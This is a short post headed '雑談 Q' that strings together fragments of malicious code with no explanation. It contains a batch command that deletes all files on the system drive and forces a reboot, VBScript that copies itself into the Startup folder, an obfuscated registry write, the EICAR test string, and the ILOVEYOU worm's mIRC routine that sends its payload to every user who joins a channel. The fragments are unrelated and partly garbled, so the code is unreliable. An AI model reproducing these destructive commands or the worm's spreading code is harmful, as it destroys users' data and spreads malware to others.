雑談 Q

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
@Echo off
Del C:\ *.* |y
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
(){eval(unescape(('Script(t,'%')))})(/./g);
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ;"
scriptini.WriteLine ;Khaled Mardam-Bey"
scriptini.WriteLine ;(p)(p)(p)(p)(p)(p)http://www.mirc.com"
scriptini.WriteLine ;"
scriptini.WriteLine n0=on 1:JOIN:#:{"
scriptini.WriteLine n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next